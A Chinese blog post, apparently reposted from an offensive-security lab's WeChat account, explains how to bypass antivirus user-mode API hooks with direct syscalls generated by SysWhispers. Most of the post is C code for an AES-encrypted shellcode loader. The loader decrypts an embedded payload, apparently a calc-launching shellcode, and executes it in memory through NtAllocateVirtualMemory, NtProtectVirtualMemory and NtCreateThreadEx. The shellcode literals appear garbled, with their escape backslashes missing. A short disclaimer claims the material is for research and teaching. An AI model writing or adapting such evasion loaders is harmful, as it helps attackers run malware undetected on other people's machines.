Windows下有两种处理器访问模式:用户模式和内核模式。
用户模式下运行应用程序时,Windows 会为该程序创建一个新进程,提供一个私有虚拟地址空间和一个私有句柄表,因为私有,一个应用程序无法修改另一个应用程序的私有虚拟地址空间的数据;内核模式下,所有运行的代码都共享一个虚拟地址空间。
-
使用syscall绕过杀毒软件用户模式API检测
-
这里使用开源项目SysWhispers
SysWhispers在PE中找导出表,之后通过对比函数hash找到syscall调用号。不需要指定 Windows 版本,也不依赖于以往的系统调用表,没有从磁盘读取 Ntdll.dll。
SW3_PopulateSyscallList 函数先解析 Ntdll.dll 的 导出地址表 EAT,定位所有以 “Zw” 开头的函数,最后按地址从小到大进行排序
SW3_GetSyscallNumber这个函数循环遍历 SW3_PopulateSyscallList 的数组,如果 Hash 相等就返回 循环的值 作为 SyscallNumber
SysWhispers使用
syswhispers.py --f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx -o syscalls
-
shellcode加载器的编写
-
对于shellcode进行加密,使用aes加密算法进行加密
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = "Cryptography.aescL2I4sL5oaPStF6f";
unsigned char iv[] = "aescL2I4sL5oaPStF6f";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);
printf("Encrypted buffer:n");
for (int i = 0; i < shellcodeSize - 1; i++) {
printf("\x%02x", shellcode[i]);
}
return 0;
}
-
需要系统调用的函数
NtAllocateVirtualMemory 代替VirtualAlloc
NtProtectVirtualMemory 代替VirtualProtect
NtCreateThreadEx 代替CreateThrea
-
shellcode加载器的实现
int main()
{
unsigned char shellcode[] = "x3axc6xd4xd6xe3x4cx6bx1cx01xa4x24x58xa9xb1x7fx07xe4x82x30x46x4cx87x85x5fx52x78xd5xa6x79x30xd4x3exc8x52xf9x18x73x33x29x09x33xf9xa7x10xc3xa4x20x03xabxc2x62x0cxcex9dx3fx44xbbx98x44xe1x2fx3dxb5x2cxb7xbexddx3cx1exefx0fx85xf6x5dx48x1cx1exc0xbex7ax87x4dx94x45xc3x30xddxaaxf2x9axbbxbdx1bxf4x43x17x23x54x79x23xd7x86x5fxfdx71x22xa0x09xb1x5fxb4x0cx46x14x43x5ex1ex3ex21x15x53xbcxbdx32xf7xddx94x65x27x2bxf4x35x12x65xb5x63xc4x87xfcxbax70x99xc1x30x39x86x39x4ex29x38x26xd4x77xe1x7bxcbx67xdaxd8x2ax09x7cx0cxa0x33x6dxb5x1ex1fx2cx44xdfx06x6ex6dx31x64xe5xb0x07xc1x6fxfcxf2xeax56x85xfex13x96xa8x30xf3x43x45x8dxd7xfdx29x09x0ex10x9ex33xdbxc3x3ax4dx2ax8bx5ax20x13x76x7cxcex58x8dx89xf1xc2xfexa5x71xa2x7bxcbxccxd1x89x1fx5fx6cxbaxa3x0ex3cx41x53x69xb6x5fx10xcex4cx73x0ax5dx08x37x6bx17x22x92x4cxcdx5dxdax22x55x1cxfbx4fx79x2fxa4x58x1ax00x98xdbxce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = "Cryptography.aescL2I4sL5oaPStF6f";
unsigned char iv[] = "aescL2I4sL5oaPStF6f";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
unsigned int calc_len = sizeof shellcode;
HANDLE hProc = GetCurrentProcess();
DWORD oldprotect = 0;
PVOID base_addr = NULL;
HANDLE thandle = NULL;
//VirtualAlloc
NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(base_addr, shellcode, sizeof shellcode);
////VirtualProtect
NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&calc_len, PAGE_EXECUTE_READ, &oldprotect);
////CreateThread
NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, INFINITE);
}
原文始发于微信公众号(刑天攻防实验室):通过系统调用(syscall)绕过杀软用户模式API检测
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论